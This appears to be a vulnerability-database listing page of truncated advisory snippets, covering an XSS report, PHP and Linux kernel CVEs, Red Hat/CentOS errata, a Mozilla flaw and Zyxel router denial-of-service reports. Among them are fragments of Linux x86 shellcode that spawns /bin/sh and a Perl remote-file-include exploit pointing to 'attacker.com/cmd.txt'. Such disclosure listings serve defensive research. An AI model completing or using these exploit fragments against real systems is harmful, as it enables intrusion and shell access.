Unfixed XSS vulnerability at www.tercuman.com.tr

Security researcher cyber, has submitted on 30/03/2007 a cross-site-scripting XSS vulnerability affecting www.tercuman.com.tr, which at the time of submission ranked 26924 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 31/03/2007. It is...

CVE-2007-1711

Double free vulnerability in the unserializer in PHP 4.4.5 and 4.4.6 allows context-dependent attackers to execute arbitrary code by overwriting variables pointing to 1 the GLOBALS array or 2 the session data in SESSION. NOTE: this issue was introduced when attempting to patch CVE-2007-1701...

CVE-2007-1711

Double free vulnerability in the unserializer in PHP 4.4.5 and 4.4.6 allows context-dependent attackers to execute arbitrary code by overwriting variables pointing to 1 the GLOBALS array or 2 the session data in SESSION. NOTE: this issue was introduced when attempting to patch CVE-2007-1701...

CommunityPortals 1.0 - 'import-archive.php' File Inclusion

!/usr/bin/perl CommunityPortals Build 12-31-18 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/11 Remote: Yes Type: high Site: http://www.leicestershirecommunity.com use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ====== Change This Line With Yo...

RHEL 4 : kernel (RHSA-2006:0689)

Updated kernel packages that fix several security issues in the Red Hat Enterprise Linux 4 kernel are now available. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the basic functions of the operating syste...

CentOS 4 : kernel (CESA-2006:0689)

Updated kernel packages that fix several security issues in the Red Hat Enterprise Linux 4 kernel are now available. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the basic functions of the operating syste...

kernel security update

CentOS Errata and Security Advisory CESA-2006:0689 Updated kernel packages that fix several security issues in the Red Hat Enterprise Linux 4 kernel are now available. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel...

Important: Red Hat Security Advisory: kernel security update

Updated kernel packages that fix several security issues in the Red Hat Enterprise Linux 4 kernel are now available. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the basic functions of the operating syste...

Multiple Linux kernel DoS condiotions

DoS with SG driver, HID031 bit clearing problem on PPC970 processors...

Privilege escalation using addSelectionListener — Mozilla

Web content could access the nsISelectionPrivate interface of the Selection object and use it to add a SelectionListener. The listener would be called when the user did a "Find" on the page or a "select all", and as intended this shouldn't cause any problems. But as with escaping the PAC sandbox ...

linux/x86 - setuid0 + execve"/bin/sh", "/bin/sh", NULL 31 bytes

linux/x86 setuid0 + execve"/bin/sh", "/bin/sh", NULL 31 bytes. Shellcode exploit for linx86 platform / Linux/x86 setuid0 + execve"/bin/sh", "/bin/sh", NULL - 31 bytes - [email protected] / char shellcode = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" // int...

linux/x86 setreuid0, 0 + execve/bin/sh 31 bytes

linux/x86 setreuid0, 0 + execve/bin/sh 31 bytes. Shellcode exploit for linx86 platform / linux/x86 setreuid0, 0 + execve"/bin/sh", "/bin/sh", NULL, NULL - 31 bytes - izik / char shellcode = "\x6a\x46" // push $0x46 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx...

ZyxelIPHandling.txt

|| || Infobyte Security Research || www.infobyte.com.ar || 04.08.2005 || .:: SUMMARY Prestige 650R-31 ADSL Router -CPU exausting handling malformed fragmented packets Affected ZyNOS FW v3.40KO.1 It is suspected that all previous versions of ZyNOS are vulnerable. .:: BACKGROUND Zyxel Prestige 600...

CVE-2005-1717

The CVE-2005-1717 entry concerns ZyXEL Prestige 650R-31 routers running ZyNOS FW v3.40(KO.1). Affected component: the device’s IP stack handling of fragmented packets. Root cause: crafted fragmented IP packets that lead to denial of service via sustained CPU usage and network loss. Impact: remote...

CVE-2005-1717

ZyXEL Prestige 650R-31 router running ZyNOS FW v3.40KO.1 allows remote attackers to cause a denial of service CPU consumption and network loss via crafted fragmented IP packets...

[Full-disclosure] [ISR] Zyxel Prestige 650R-31 Denial Of Service

|| || Infobyte Security Research || www.infobyte.com.ar || 04.08.2005 || .:: SUMMARY Prestige 650R-31 ADSL Router -CPU exausting handling malformed fragmented packets Affected ZyNOS FW v3.40KO.1 It is suspected that all previous versions of ZyNOS are vulnerable. .:: BACKGROUND Zyxel Prestige 600...

DSA-708-1 php3 - missing input sanitising

Bulletin has no description...

linux/x86 setreuid/execve 31 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 setreuid/execve 31 bytes ================================== / 31 byte setreuid shellcode - man shadow os: Slackware 9.1, Phlak 2.4, Knoppix 0.1 www.manshadow.org email protected irc.efnet.net manshad...

CVE-2004-0670

Prestige 650HW-31 running Rompager 4.7 software allows remote attackers to cause a denial of service device reboot via a long password...

CVE-2004-0670

CVE-2004-0670 affects Prestige 650HW-31 devices running Rompager 4.7. The issue allows remote attackers to trigger a denial of service (device reboot) by submitting a long password. The documents do not provide exploitation details, affected software versions beyond Rompager 4.7 on the Prestige 6...